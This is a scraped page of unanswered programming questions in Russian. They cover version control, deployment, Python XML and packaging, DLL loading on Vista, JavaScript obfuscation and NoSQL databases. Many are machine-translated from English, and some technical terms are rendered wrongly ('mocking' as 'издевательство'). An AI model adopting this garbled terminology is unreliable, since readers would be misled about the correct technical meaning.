Проблема заключается в том, что пока привязка работает, пользовательский элемент управления не отображается на главной странице.
Есть какие-нибудь идеи?
Как вы генерируете тесты из спецификаций?
Я наткнулся на печатную статью Бертрана Мейера , где он утверждает, что тесты могут быть созданы из спецификаций. Моя команда разработчиков не делает ничего подобного, но это звучит как хорошая техника для рассмотрения. Как вы генерируете тесты из спецификаций? Как бы вы описали успех, который вы имеете в обнаружении программных ошибок с помощью этого метода?
Какова более эффективная методология контроля версий: проверка или слияние?
Я всегда использовал Subversion или CVS для контроля версий, которые используют методологию 'merge'. Один из моих друзей бредит о Perforce и о том, как это здорово с его списками изменений и методологией проверки.
Хотя я уверен, что многое из этого сводится к опыту & личных предпочтений, мне было интересно, было ли проведено какое-либо исследование, в котором метод контроля версий более эффективен для работы?
EDIT: чтобы уточнить, я знаю, что оба Perforce & SVN позволяют блокировать & слияние, но SVN 'encourages' либеральный метод редактирования & слияния, тогда как, как я понимаю, Perforce поощряет метод проверки-проверки.
Создание таблиц базы данных из определений объектов
Я знаю, что существует несколько (автоматических) способов создания уровня доступа к данным для управления существующей базой данных (от LINQ до SQL, Hibernate и т. д...). Но я начинаю немного уставать (и я считаю, что должен быть лучший способ делать вещи) от таких вещей, как:
- Создание / изменение таблиц в Visio
- Использование Visio-х "Update Database" для создания / изменения базы данных
- Импорт таблиц в объект "LINQ to SQL classes"
- Соответственно, меняется код
- Скомпилировать
Как насчет способа создания схемы базы данных из определения объектов / сущностей? Я не могу найти хороших ссылок для таких инструментов (и я ожидал бы какой-то встроенной поддержки, по крайней мере, в некоторых фреймворках).
Было бы прекрасно, если бы я только мог ... :
- Изменение определения объекта
- Измените код, который управляет объектом
- Компилировать (изменения в базе данных производятся автоматически-магически)
Развертывание подкаталога Git в Capistrano
Мой главный макет ветви выглядит так:
/ <-- верхний уровень
/client <-- исходные файлы desktop client
/server <-- Rails приложение
Все , что я хотел бы сделать, это просто снять каталог /server в моем deploy.rb, но я не могу найти никакого способа сделать это. Каталог /client огромен, поэтому настройка крючка для копирования /server в / не будет работать очень хорошо, ему нужно только снять приложение Rails.
Как создать документ xml в python
Вот мой пример кода:
from xml.dom.minidom import *
def make_xml():
doc = Document()
node = doc.createElement('foo')
node.innerText = 'bar'
doc.appendChild(node)
return doc
if __name__ == '__main__':
make_xml().writexml(sys.stdout)
когда я запускаю приведенный выше код я получаю это:
<?xml version="1.0" ?>
<foo/>
Я хотел бы получить:
<?xml version="1.0" ?>
<foo>bar</foo>
Я просто догадался, что есть свойство innerText, оно не дает ошибки компилятора, но, похоже, не работает... как мне создать текстовый узел?
Windows Vista: не удается загрузить DLL 'x.dll': недопустимый доступ к памяти. (DllNotFoundException)
Сегодня днем я тестировал на коробке клиента, которая имеет Windows Vista (у него был дом, но я тестирую на бизнес-издании с теми же результатами).
Мы используем .DLL, который получает аппаратное обеспечение ID компьютера. Его использование очень просто, и образец программы, которую я создал, работает. Dll - это от AzSdk . На самом деле, это прекрасно работает под Windows XP. Однако, по какой-то странной причине, внутри нашего проекта (намного больше) мы получаем это исключение:
Exception Type: System.DllNotFoundException
Exception Message: Unable to load DLL 'HardwareID.dll': Invalid access to memory location. (Exception from HRESULT: 0x800703E6)
Exception Target Site: GetHardwareID
Я не знаю, что может быть причиной проблемы, так как у меня есть полный контроль над папкой. Проект представляет собой приложение форм c#.net Windows, и все работает нормально, за исключением вызова внешней библиотеки.
Я объявляю его следующим образом: (Примечание: это не библиотека COM, и ее не нужно регистрировать).
[DllImport("HardwareID.dll")]
public static extern String GetHardwareID(bool HDD,
bool NIC, bool CPU, bool BIOS, string sRegistrationCode);
И тогда вызывающий код достаточно прост:
private void button1_Click(object sender, EventArgs e)
{
textBox1.Text = GetHardwareID(cb_HDD.Checked,
cb_NIC.Checked,
cb_CPU.Checked,
cb_BIOS.Checked,
"*Registration Code*");
}
Когда вы создаете пример приложения, он работает, но внутри моего проекта он не работает. Under XP работает нормально. Есть ли идеи о том, что я должен сделать в Vista, чтобы сделать эту работу? Как я уже сказал, папка и ее подпапки имеют полный контроль над "Everybody".
UPDATE: у меня не установлена Vista SP 1.
UPDATE 2: я установил Vista SP1 и теперь, когда UAC отключен, даже простой пример не работает!!! : (Чертова Виста.
Контроль версий для графики
Скажем, команда разработчиков включает в себя (или использует) графических художников, которые создают все изображения, которые входят в продукт. К таким вещам относятся значки, растровые изображения, фоны окон, изображения кнопок, анимация и т. д.
Очевидно, что все необходимое для создания части программного обеспечения должно находиться под некоторой формой контроля версий. Но большинство систем контроля версий для разработчиков предназначены в первую очередь для текстовой информации. Должны ли графические люди использовать ту же систему управления версиями и репозиторий, что и кодеры? Если нет, то что они должны использовать, и каков лучший способ сохранить все синхронизировано?
Лучшие практики для среды разработки и API dev?
Мой нынешний работодатель использует сторонний хостинг-провайдер CRM, и у нас есть довольно сложный уровень интеграции между двумя системами. Среди возможностей поставщика CRM для разработчиков является создание бизнес-логики на языке Java, как и на таких событиях, как пользователь, нажав на кнопку или отправив новую учетную запись в систему, есть проверка и / или бизнес-логика выстрелить.
Одна из возможностей, которую мы используем, заключается в том, что бизнес-код, запущенный на хост-провайдере, вызывает веб-службы, которые мы размещаем. Канонический пример - это торговый представитель, который вводит новый интерес к продажам и нажимает кнопку, чтобы проверить наши системы, чтобы узнать, можем ли мы идентифицировать этот новый интерес на основе адреса email, имени company/first/last и т. д., И если да, верните внутренний GUID, который представляет этого человека. Все это прекрасно работает для нас, но мы снова и снова натыкаемся на стену, пытаясь настроить разумную среду разработки для работы.
Таким образом, хотя наш вариант использования немного нюансирован, это обычно может применяться к любому дому разработки, который строит APIs для потребления третьей стороной: каковы некоторые рекомендации при проектировании конвейера разработки и среды, когда вы строите APIs для потребления внешним миром?
В нашем офисе все наши разработчики находятся за брандмауэром, поэтому текущий код не может быть поражен внешним миром, в нашем случае провайдером CRM. Мы могли бы проделать дыры в брандмауэре, но это не идеально с точки зрения безопасности поверхности. Особенно, если # разработчиков, которые должны быть в DMZ, как область высока. В настоящее время мы пробуем одну машину dev в DMZ, а затем удаляемся в нее по мере необходимости для выполнения работы dev, но это создает проблему нехватки ресурсов, если несколько разработчиков нуждаются в коробке, не говоря уже о том, что они делают потенциально конфликтующие изменения (например, разные ветви).
Мы рассмотрели только издевательство / подделку входящих запросов путем создания поддельных клиентов для этих служб, но это довольно большие накладные расходы при создании наборов функций (хотя это по своей природе усиливает тестируемость нашего APIs). Это также не устраняет тот факт, что иногда нам действительно нужно диагностировать/отлаживать проблемы, исходящие от самого реального клиента, а не от какой-то поддельной полезной нагрузки запроса.
Что сделали другие в таких сценариях? В этот день и век мэшапов, должно быть много людей там w/ опыт разработки APIs-что работает (и не работает так) хорошо для людей там?
Открыть файлы из сетевой папки в веб-приложение c#
У меня есть веб-приложение, которое должно читать (и, возможно, записывать) файлы из общего сетевого ресурса. Мне было интересно, как лучше всего это сделать?
Я не могу предоставить сетевой службе или учетным записям aspnet доступ к сетевому ресурсу. Я вполне мог бы использовать олицетворение.
Сетевой ресурс и веб-приложение размещаются в одном домене, и я могу создать нового пользователя в домене специально для этой цели, однако я не совсем уверен, как соединить точки между созданием filestream и указанием учетных данных для использования в веб-приложении.
К сожалению, диск не сопоставлен с сетевым диском на машине, он доступен мне только как сетевой ресурс, поэтому, к сожалению, я не могу сделать прозрачный вызов.
Есть одна проблема, которую я могу придумать с олицетворением... Я могу выдавать себя только за одного пользователя на домен приложения, но я счастлив быть исправленным. Возможно, мне придется записать этот файл в несколько разных общих папок, что означает, что мне придется выдавать себя за нескольких пользователей.
Мне нравится идея создания токена... если я смогу это сделать, то смогу заранее запросить у пользователей их учетные данные, а затем динамически применить защиту и выдавать им значимые сообщения об ошибках, если доступ будет запрещен... Я ухожу играть, но вернусь с обновлениями.
Rails требует RubyGems >= 0.9.4. Пожалуйста, установите RubyGems
Я развертываю в Ubuntu slice на slicehost, используя Rails 2.1.0 (от gem )
Если я попробую mongrel_rails start или script / server, я получу эту ошибку:
Rails requires RubyGems >= 0.9.4. Please install RubyGems
Когда я набираю gem -v , у меня установлена версия 1.2.0 . Любые быстрые советы о том, на что смотреть, чтобы исправить?
Достаточно ли использовать обфускатор для защиты моего кода JavaScript?
Я работаю над созданием инструмента разработки, который написан на JavaScript.
Это не будет проект с открытым исходным кодом и будет продаваться (надеюсь) как коммерческий продукт.
Я ищу лучший способ защитить свои инвестиции. Достаточно ли использовать обфускатор (code mangler) для разумной защиты кода?
Есть ли другие альтернативы, о которых я не знаю?
(Я не уверен, что obfuscator-это правильное слово, это одно из приложений, которое берет ваш код и делает его очень нечитаемым.)
Как автоматизированный слишком автоматизирован, когда дело доходит до deployment?
У меня есть ci, поэтому наша промежуточная среда строит себя.
Должен ли я иметь скрипт, который не только строит производство, но и делает все ветвления для него?
Если у вас есть одна база кода на двух разных URL-адресах с оболочкой, должны ли они быть необходимы для сборки сразу?
Compact Framework-как динамически создать тип без конструктора по умолчанию?
Я использую .NET CF 3.5. Тип, который я хочу создать, не имеет конструктора по умолчанию, поэтому я хочу передать строку перегруженному конструктору. Как мне это сделать?
Код:
Assembly a = Assembly.LoadFrom("my.dll");
Type t = a.GetType("type info here");
// All ok so far, assembly loads and I can get my type
string s = "Pass me to the constructor of Type t";
MyObj o = Activator.CreateInstance(t); // throws MissMethodException
Как вы устраняете проблемы с кодировкой символов?
Если все, что вы видите, это уродливые коробки без символов, какие инструменты или стратегии вы используете, чтобы выяснить, что пошло не так?
(Конкретный сценарий, с которым я сталкиваюсь,-это коробки без символов внутри <select>, когда он должен показывать японские символы.)
Десериализация на другом языке
Сетевой адаптер log4j отправляет события в виде сериализованного объекта java. Я хотел бы иметь возможность захватить этот объект и десериализовать его на другом языке (python). Разве это возможно?
Обратите внимание, что захват сети прост; это просто сокет TCP и чтение в потоке. Трудность заключается в десериализующей части
Как использовать Python distutils?
Я написал небольшой программы в python добавить gtk GUI программы командной строки. Мне было интересно, как я могу создать установщик с помощью distutils. Поскольку это всего лишь интерфейс GUI для приложения командной строки, он все равно работает только в *nix, поэтому я не беспокоюсь о том, что он кросс-платформенный.
моя главная цель-создать пакет .deb для пользователей debian/ubuntu, но я не понимаю make/configure файлов. До сих пор я в основном был веб-разработчиком.
edit: кто-нибудь знает о проекте, который использует distutils, чтобы я мог увидеть его в действии и, вы знаете, на самом деле попробовать построить его?
Вот несколько полезных ссылок
Ubuntu Python Руководство По Упаковке
Это руководство очень полезно. Я не знаю, как я пропустил это во время моей первой волны гулинга. Он даже проведет вас через упаковку существующего приложения python
-
Это официальный пакет поддержки проекта на ubuntu. Любой желающий может присоединиться, и есть много учебных пособий и информации о создании пакетов всех типов, которые включают в себя вышеупомянутое "руководство по упаковке python".
"Python distutils to deb?"-обсуждение на форуме Ars Technica
Согласно этому разговору, вы не можете просто использовать дистутилы. Он не соответствует формату упаковки debian (или что-то в этом роде). Я думаю, именно поэтому вам нужен dh_make, как показано в руководстве по упаковке Ubuntu
"Команда bdist_deb для distutils
Здесь есть несколько интересных обсуждений (это также то, как я нашел руководство ubuntu) о соединении zip-файла и shell-скрипта для создания какого-то универсального исполняемого файла (все, что имеет python и bash). странный. Дайте мне знать, если кто-нибудь найдет больше информации об этой практике, потому что я никогда о ней не слышал.
Описание формата deb и как distutils вписываются в список рассылки - python
Почему пагинация так ресурсоемка?
Это одна из тех вещей, которые, кажется, имеют странную кривую, где чем больше я думаю об этом, тем больше это имеет смысл. В определенной степени, конечно. И тогда для меня это вообще не имеет смысла.
Не хочешь просветить меня?
Как поддерживать правильное событие Javascript после использования cloneNode (true)
У меня есть элемент формы, который содержит несколько строк входных данных. Подумайте о каждой строке как об атрибутах нового объекта, который я хочу создать в своем веб-приложении. Кроме того, я хочу иметь возможность создавать несколько новых объектов в одном посте HTTP. Я использую встроенный метод Javascript cloneNode (true) для клонирования каждой строки. Проблема в том, что каждая входная строка также имеет ссылку удаления, прикрепленную к ее onclick-событию:
// prototype based
<div class="input-line">
<input .../>
<a href="#" onclick="$(this).up().remove();"> Remove </a>
</div>
При нажатии на ссылку удаления клонированной входной линии также удаляются все входные линии, которые были клонированы из того же объекта dom. Можно ли повторно привязать объект "this" к соответствующему тегу привязки после использования cloneNode (true) на указанном выше элементе DOM?
Бесплатный Волновой Синтезатор?
Мне нужно реализовать волновой синтезатор в ядре ARM Cortex-M3. Я ищу любой код или инструменты, которые помогут мне начать работу.
Я знаю об этой реализации AVR . Я действительно преобразовал его в PIC некоторое время назад. Теперь я ищу что-то похожее, но немного лучше звучащее.
Код ANSI C был бы замечательным. Любые фрагменты кода (C или C++), образцы, инструменты или просто общая информация будут очень признательны.
Спасибо.
Как я могу сделать манифест .net assembly частным?
Что мне делать, если я хочу освободить .net assembly, но хочу сохранить его внутренние детали в манифесте частными (от утилиты, такой как ildasm.exe ) ?
Генератор шаблона документации
У меня есть большая кодовая база без Javadoc, и я хочу запустить программу для написания скелета с основной информацией Javadoc (например, для параметра каждого метода write @param...),, поэтому мне просто нужно заполнить оставшиеся пробелы.
Кто-нибудь знает хорошее решение для этого?
Редактировать:
JAutodoc - это то, что я искал. Он имеет Ant задач, плагин Eclipse и использует скорость для определения шаблона.
Как управлять обновлением схемы в рабочей базе данных?
Это, кажется, забытая область,которая действительно может использовать некоторое понимание. Каковы ваши лучшие практики для:
- выполнение процедуры обновления
- резервное копирование в случае ошибок
- синхронизация изменений кода и базы данных
- тестирование до deployment
- механика изменения таблицы
и т.д...
Остановка MSI от запуска EXE в контексте SYSTEM
У меня здесь проблема с MSI deployment, над которой я работаю (используя InstallShield ). У нас есть программа, работающая в фоновом режиме, которая должна выполняться для каждого пользователя, и она должна запускаться автоматически без вмешательства пользователя.
Проблема заключается в том, что объект групповой политики / Active Directory (GPO/AD) deployment приложение запускается в контексте SYSTEM до входа в систему, а не как пользователь, который собирается войти в систему. Приложение может выполняться только один раз на пользователя, и кажется, что процесс SYSTEM предотвращает запуск процесса USER. Это означает, что PCs необходимо перезагрузить дважды, прежде чем программное обеспечение может быть развернуто для пользователей. Как нам остановить это?
В основном текущий рабочий процесс является:
- Установки/обновления... убить фоновое приложение
- Установка новых файлов
- Запуск фонового приложения
Это работает для опубликованных приложений и интерактивных установок MSI - это только 'assigned' приложений, которые, кажется, имеют проблему. Как Шаг 3 происходит в контексте SYSTEM, а не в контексте пользователя :(
В идеале, я бы попросил команду разработчиков исправить файл EXE, чтобы предотвратить запуск в контексте SYSTEM, но это цикл выпуска, и я ищу решение на основе установщика для промежуточного периода.
(Я не знаю Installscript... Поэтому я предполагаю, что VBScript -это, вероятно, путь, если нет родного материала InstallShield, который я могу использовать.)
Хороший просмотрщик репозитория Git для Mac
Может ли кто-нибудь порекомендовать хороший просмотрщик репозитория для Git, подобный gitk, который работает на Mac OS X Leopard? (Я не говорю, что gitk не работает)
Конечно, я хотел бы иметь собственное приложение для Mac, но так как я его не нашел, каковы лучшие варианты для gitk?
Я знаю о gitview, но я с нетерпением жду, чтобы оценить как можно больше альтернатив.
http://sourceforge.net/projects/gitview
Программное обеспечение Deployment в виртуальной среде
Я ищу способ, чтобы дать предварительный просмотр или демо-версии нашего программного обеспечения для наших клиентов как можно проще.
Программное обеспечение, которое мы сейчас разрабатываем, - это довольно большой проект. Он состоит из клиентской среды, сервера приложений, различных баз данных, хоста веб-служб и т.д. Проект развивается постепенно, и мы хотим отгружать биты с интервалом от одного до двух месяцев. Первые поставки не будут использоваться в производстве. Они имеют целей демо, чтобы поощрять клиентов дать обратную связь.
Мы не хотим обременять клиентов установкой и настройкой системы. В общем, мы ищем способ облегчить deployment, установку и настройку боли.
Я думал о том, чтобы использовать метод виртуализации для предварительной установки и предварительной настройки виртуальной машины со всеми необходимыми компонентами. Наши клиенты просто должны mount виртуальный образ и запустить приложение.
Я хотел бы услышать от людей, которые используют эту технику. Я полагаю, что есть и некоторые трудности. В частности, как насчет проблем лицензирования с установленным OS? Возможно, срок действия виртуальной машины истекает через определенный период времени.
Какие-нибудь впечатления там?
Как вы управляете версиями в веб-приложении?
Каковы стратегии управления версиями веб-сайта application/?
Я заметил, что здесь, в бета-версии, есть номер редакции svn в нижнем колонтитуле, и это идеально подходит для приложения, которое использует svn над одним репозиторием. Но что делать, если вы используете внешние программы или другое приложение управления версиями, которое выпускает отдельные файлы?
Это кажется простым для настольного приложения, но я не могу найти подходящий способ управления версиями для веб-приложения asp.net.
NB я не уверен, что был полностью ясен со своим вопросом.
- Я хочу знать, как построить и автоматически увеличить номер версии для приложения asp.net.
- Меня не интересует, как связать его с svn.
Как изменить цвет шрифта экземпляров объектов в Visual Studio
Я знаю, что цвета изменяются в среде > шрифты и цвета, но я не выяснил, какой элемент отображения является объектом.
Может кто-нибудь, пожалуйста, скажите, как я могу покрасить следующий код:
lblMessage.Text = "You have successfully answered my question!"
У меня есть строка окрашена в розовый цвет, я хотел бы lblMessage фиолетовый и то .Текст светло-зеленый.
Для меня Чем темнее цвет, тем меньше он будет "change". Я не буду часто менять имена объектов, я буду чаще менять свойства и всегда меняю строки - хотя у меня есть еще один вопрос об этом, который я опубликую позже.
Спасибо
Это контроль версий (т. е. Subversion) применяется в отслеживании документов?
Я отвечаю за более чем 100 документов (документ word, а не исходный код), которые нуждаются в доработке разными людьми в моем отделе. В настоящее время все документы находятся в общей папке, где они будут извлекаться, пересматриваться и сохраняться обратно в папку.
Сейчас я ищу "date modified" в общей папке, открываю недавно измененные документы и использую функцию "Track Change" в MS Word для применения изменений. Я нахожу это немного утомительным.
Так будет ли лучше и проще, если я зафиксирую это в базе данных управления версиями?
В основном я хочу сохранить другую версию файла.
Чему я научился из ответов:
Используйте машину времени для сохранения различных версия (или теневая копия в Vista)
Существует разница между текстом и бинарные документы, когда вы используете приложение для контроля версий. (А я и не знал тот)
Diff не будет работать с двоичными файлами
Система уведомлений (ie email) для пересмотра очень хороша
Функция редактирования Google Docs.
Обновление :
Я поиграл с функцией редактирования Google Docs и чувствую, что это почти правильно для меня. Просто немного раздражен слишком частым версионированием (автосохранением).
Но то, что кажется правильным для меня, не означает, что это правильно для моего отдела. Будут ли они в порядке с сохранением всех этих документов с помощью Google?
Java возврат копии для скрытия будущих изменений
В Java, скажем, у вас есть класс, который обертывает ArrayList (или любую коллекцию) объектов.
Как бы вы вернули один из этих объектов, чтобы вызывающий объект не видел никаких будущих изменений объекта, сделанных в ArrayList?
т. е. вы хотите вернуть глубокую копию объекта, но вы не знаете, можно ли его клонировать.
Visual Source Safe -- > TFS Миграция
Здесь мы работаем с кучей безопасных репозиториев визуальных источников уже около 10 лет или около того.
Теперь я хочу избавиться от sourcesafe и перейти к Team Foundation Server.
У вас есть какие-нибудь советы или рекомендации для меня, прежде чем я начну эту миграцию? С какими вещами я должен быть осторожен?
Я уверен, что эта миграция будет означать, что наши рабочие привычки должны быть каким-то образом изменены. Считаете ли вы, что эти изменения могут стать проблемой для организации? Подумайте о группе примерно из 20 .NET разработчиков на одном сайте.
Динамическая ссылка на файлы ресурсов в C#
У меня есть приложение, на котором я реализую локализацию.
Теперь мне нужно динамически ссылаться на имя файла ресурсов.
предположим, что у меня есть файл ресурсов с именем Login.resx, а также ряд строк: foo="hello", bar="cruel" и baz="world"
обычно я буду ссылаться как: Строковый результат =Login.foo; и результат= = "hello";
моя проблема заключается в том, что во время кода я не знаю, хочу ли я ссылаться на foo, bar или baz - у меня есть строка, содержащая либо "foo", "bar", либо "baz".
Мне нужно что-то вроде:
Login["foo"];
Кто-нибудь знает, есть ли способ динамически ссылаться на строку в файле ресурсов?
Установите Python, чтобы соответствовать макету каталога в OS X 10.5
Установка по умолчанию Python на OS X 10.5 - это 2.5.1 с 32-разрядным клиентом FAT (Intel и PPC). Я хочу настроить apache и mysql для запуска django. В прошлом я запускал Apache и MySQL, чтобы соответствовать этой установке в 32-битном режиме (даже удаляя 64-битный материал из Apache, чтобы заставить его работать).
Я хочу обновить Python до 64 бит. Я полностью доволен компиляцией его из источника с одной оговоркой. Как я могу соответствовать способу установки по умолчанию? Особенно, что касается пакетов сайтов, находящихся в /Library/Python/2.5/ , а не в похороненном в верхней части фреймворка, как только я его скомпилирую.
Как включить веб-приложение
Я запускаю игру, и запуск выполняется вручную, у меня есть несколько сценариев, которые помогают мне, но по сути это я делаю работу. В данный момент я работаю над веб-приложением, которое позволит пользователям напрямую вводить некоторые из своих игровых действий и, таким образом, сэкономить мне много работы.
Проблема в том, что я один человек, работающий над проектом среднего размера (более 20 таблиц), рабочая нагрузка не является проблемой, это то, что ошибки будут проскальзывать, даже если я тестирую, когда пишу. Поэтому мой вопрос, таким образом, двоякий.
- Бета-тестирование, я люблю открытые бета-версии, но будет ли закрытая бета-версия более эффективной и даст лучшие результаты?
- Как я должен принести в приложение? Должен ли я один поворот бросить его и объявить, что он используется, или я должен использовать его вместе с обычной конструкцией игры?
Что было бы хорошо, windows и iis (http) на основе распределенной системы управления версиями
На моей работе мы делаем & продаем сайты. Обычно мы устанавливаем наши .NET C# базирует сайт на сервере заказчика и поддерживает его удаленно. Тем не менее, каждый раз в то время, для большего развития работает и просто сделать вещи проще (и быстрее!), мы скопируем сайт на локальный сервер.
Это здорово, но есть одна боль - перемещение сайта обратно к клиенту. Теперь, если ничего не было изменено на копии клиента-нет проблем. Тем не менее, это печальная правда, что когда-то (читайте чаще, чем хотелось бы) некоторые исправления были необходимы для применения на рабочем сервере. Либо потому, что клиент нуждался в нем NOW, либо просто потому, что это была серьезная ошибка.
Я знаю, что вы можете легко применить эти исправления ошибок к локальной копии, но это процесс, подверженный ошибкам. Поэтому я возлагаю свои надежды на распределенный контроль версий, чтобы помочь синхронизировать две копии.
Вот что мне нужно:
- Простота установки-больше ничего не нужно, кроме установщика и прав администратора.
- Может быть интегрирован в существующий веб-сайт в качестве виртуального каталога и работает на порту 80 - нет хлопот с новым DNS требуется.
- Отличное программное обеспечение
Вот и все. Есть идеи?
Некоторые комментарии к ответам
Во-первых, спасибо! очень признателен.
Я посмотрел на Mercurial и базар, и оба выглядят очень хорошо. Единственным нюансом является установка в качестве виртуального каталога на IIS. Mercurial, насколько я понимаю, используют специальный протокол (wire) и Базар нуждается и в добавлении расширений python. Есть ли другая система, которую легче интегрировать с IIS? Я готов принять удар производительности для этого.
Как лучше всего настроить сервер тестирования интеграции?
Настраивая сервер интеграции, я сомневаюсь в лучшем подходе к использованию нескольких задач для завершения сборки. Является ли лучшим способом установить все в одной большой работе или сделать маленькие зависимыми?
Есть у кого решение этой задачки на питоне?
Помогите пожалуйста, есть у кого решение этой задачи (желательно на питоне)? Всё никак не могу с ней разобраться.
https://codeforces.com/contest/731/problem/B
Xороший софт для управления проектом + багтрекер + контроль версий?
Сразу предупреждаю, что смотрел много чего, и онлайновые сервисы, и оффлайновые приложения, пока остановился на Trac + пара плагинов.
Всем бы неплох, но нет возможности делать многоуровневые задачи (т.е. есть некая общая задача, а внутри нее подзадачи) или тикеты. Слишком плоская схема получается, не для сложных проектов.
504   28   22:30, 11th August, 2020
Python: посоветуйте форум, конференцию или похожее
Здравствуйте!
Я начинающий программист на python, но имею опыт разработки на других языках программирования. Посоветуйте мне, пожалуйста, форум, конференцию, может быть jabber-комнату, где общаются люди, занимающиеся разработкой на python. Часто возникают какие-нибудь вопросы, а самому не получается найти ответ. Такие места общения позволяют оперативно решить вопрос с минимумом затрат времени.
С уважением, Михаил
Редирект в зависимости от User Agent средствами Apache
Здравствуйте,
скажите, пожалуйста, есть ли возможность в конфиге виртуального-хоста проверить наличие в user agent слов iphone, ipod, ipad и если да, то перекинуть его на другой домен?
Ограничить скорость на выполнение определенных внешних запросов?
Здравствуйте!
Допустим есть многопользовательский движок, некоторые части которого могут что-то парсить из вне по команде пользователя. Хотелось бы ограничить скорость некоторых внешних запросов для некоторых пользователей.
UPD:
Интересует с помощью каких серверных технологий такое можно реализовать — возможно через nginx или apache или юниксовые утилиты как-то можно ограничить определенные запросы? Или нужно пропускать подобные запросы через самописную утилитку и там, на уровне системы обрезать скорость? Как это лучше сделать? Дописать что-то не проблема, хотелось бы понять теорию. Задача, думаю, ясна.
Сейчас продумывается архитектура веб-приложения, поэтому на каком интерпретируемом языке будет написан движок, думаю, роли не играет. Допустим пока на PHP.
За ссылки по теме тоже буду очень благодарен.
Спасибо.
Как задать свой autoincrement primary key в AppEngine/Python?
Есть, допустим, класс статьи, экземпляры которых хранятся в гугловском дата сторадже. И хочется дать на неё ссылку:
[ a href="/article/{{ article.uid }}" ]
Чтобы получилось типа такого:
[ a href="/article/55" ]
У гугла есть свои UUID'ы, но уж больно они страшны для для того чтобы быть частью урла: ahBzb3ZpZXRncm9vdmVibG9ncg0LEgdBcnRpY2xlGAgM.
Многоуровневая UITableView?
Нужно сделать много уровненую таблицу. К примеру в начале у нас есть всего 3 ячейки

Тапая по первой у нас добавятся ячейки второго уровня 
И дальше 3го уровня
Я понимаю, что это делается простым insertRowsAtIndexPaths Но у меня данные берутся из разных массивов. Я так думаю нужно использовать какие то состояния для каждого случая. Но не могу понять как. Может кто то делал что то подобное? Поделитесь сниппетами ;)
Книгу по Rails 3 на русском или английском?
Хотелось бы заиметь что-то похожее на «Гибкую разработку веб-приложений в среде Rails» (с примером приложения, которое пишется по ходу повествования), но уже для третих рельс. И вообще хорошо будет если там же про RSpec будет.
Python. Ограничение вводимых данных
Не программист, вожусь с питоном just4fun. Возник вопрос по raw_input — можно ли как-то принудительно ограничить объем вводимых данных? Пытался нагуглить ответ — то ли неправильно гуглил, то ли распространенного решения нет, то ли это никому не нужно, т.к. в питоне есть встроенные автоматические средства защиты от дурака и можно не заморачиваться.
С чего начать изучение python?
Может плохо искал, но мне не попадались адекватные книги или сайты (желательно русскоязычные) на тему изучения данного языка с нуля. Буду рад ссылкам или названиям.
Создание .pyc и .pyo файлов?
Собственно вопрос такой: «Как при наличии файла .py сделать из него .pyc и .pyo? (Знаю что можно импортировать модуль, но хотелось бы как-нибудь по другому. типо ключика перед запуском)»
Python для научного программирования?
Слышал про библиотеки NumPy, SciPy и Matplotlib, ну как слышал, на википедии прочитал :-) Кто ими пользовался, какие преимущества перед МатЛабом или МатКадом, можно ли обрабатывать большие объемы данных с помощью сложных мат преобразований, и красиво выводить результаты.
Шардинг MongoDB под нагрузкой?
Как ведет себя шардинг MongoDB под нагрузкой? Особенно как влияет на загрузку системы их Map/Reduce?
Посоветуйте хорошие книги по Python'у ориентированные на веб-разработку
Пхп надоел, хочется новенького. Решил взяться за изучение питона. Посоветуйте хорошие книженции (только не для чайников :). Английский или русский — все равно.
Вооружившись питоном хочу перейти к изучению Google App Engine — по нему тоже хотелось бы чего-нить интересного почитать.
UI мобильных приложений: Native SDK vs. HTML5
Предположим, перед вами стоит задача написать кросс-платформенное приложение для iPhone, Android и других современных мобильных OS; к примеру, мобильный клиент для вашего веб-сервиса.
Что вы выберете: изучать тонкости native SDK для построения UI для каждой конкретной платформы, или использовать WebKit и HTML5?
Сразу отмечу, что использование HTML5 никоим образом не ограничивает в доступе ко всей функциональности устройства, поскольку WebKit-движок и на iPhone и на Android позволяет взаимодействовать native-коду и javascript. Вопрос касается исключительно разработки пользовательского интерфейса — layout'ов, виджетов, анимаций, разнообразных графических элементов и тому подобного.
iPhone 3Gs & Windows 7 x64
Здравствуйте! Прошу помощи коллективного разума.
Неделю назад приобрел новый iPhone 3GS. На моей машине (Acer 8942G OS: Windows 7 x64 Home Premium) он не синхронизировался и вообще в itunes не опозновался. Немного погуглив, нашел информацию о том, что имеется проблема синхронизации именно с моей ОС, и ещё грешили на чипсет intel p55 (не зню, на каком чипсете собран мой ноут, но мей би и на нем).
На другом ноуте с XP синхронизация проходит отлично.
Недолго думая запустил виртуальную машину на семёрке, установил XP. iPhone в виртуалке опознался, данные с телефона в itunes поступают, он видит мои программы, но при попытке синхронизации возникает ошибка: «Не удается синхронизировать iPhone „voftik“. Указанное имя файла является дубликатом», или еще "… файл не найден".
Помогите пожалуйста решить проблему…
Можно ли заряжать iPhone зарядкой от iPad? (1A против 2.1A)?
Такое чувство, что заряженный айпадовской зарядкой телефон садится намного быстрее.
Можно ли купить в России PS3 Slim US
Собственно, сабж. Проблема в том, что я может быть скоро отправлюсь в другую страну, где в сети не 220 вольт, а всего 110. US версия должна работать и в Америке, и в Европе, а вот русская версия, только во втором.
Amazon EC2
Насколько он хорош как замена стандартному хостингу(аренде сервера)? В плане реальной стоимости на выходе, и производительности в работе? Можно ли получить гарантированные ресурсы сопоставимые с выделенным сервером?
Если есть опыт развертывания крупных проектов — буду очень рад услышать отзыв.
NoSQL — особенности применения
В каком случае оправдано использование таких баз данных как MongoDB, CouchDB, Redis и некоторых других?
Имеет ли смысл ставить их вместо классического mysql, на сайте со слабой нагрузкой?
Используются ли они в связке с mysql, или работают отдельно?
275   5   18:11, 21st August, 2020
Посредники для покупки из Apple Store в Гонконге?
Не секрет, что в Гонконге цены Apple Store отличаются от российских значительно. Кто-нибудь пробовал покупать оттуда? Если ли посредники типа Shipito, работающие там?
Экспорт документов из google-docs через python-api
простой код экспорта из google docs
# -*- coding: utf-8 -*-
import gdata.docs
import gdata.docs.service
gd_client = gdata.docs.service.DocsService()
gd_client.ClientLogin('login@gmail.com', 'superpassword')
#загружаем файл print.html в google docs
ms = gdata.MediaSource(file_path='print.html', content_type="text/html")
entry = gd_client.Upload(ms, 'NewDocument')
#экспортируем файл в doc
file_path = 'print.doc'
gd_client.Export(entry, file_path)
на выходе формат файла pdf, а не doc.
# -*- coding: utf-8 -*-
import gdata.docs
import gdata.docs.service
gd_client = gdata.docs.service.DocsService()
gd_client.ClientLogin('login@gmail.com', 'superpassword')
#загружаем файл print.html в google docs
ms = gdata.MediaSource(file_path='print.html', content_type="text/html")
entry = gd_client.Upload(ms, 'NewDocument')
#экспортируем файл в doc
file_path = 'print.doc'
gd_client.Export(entry, file_path)
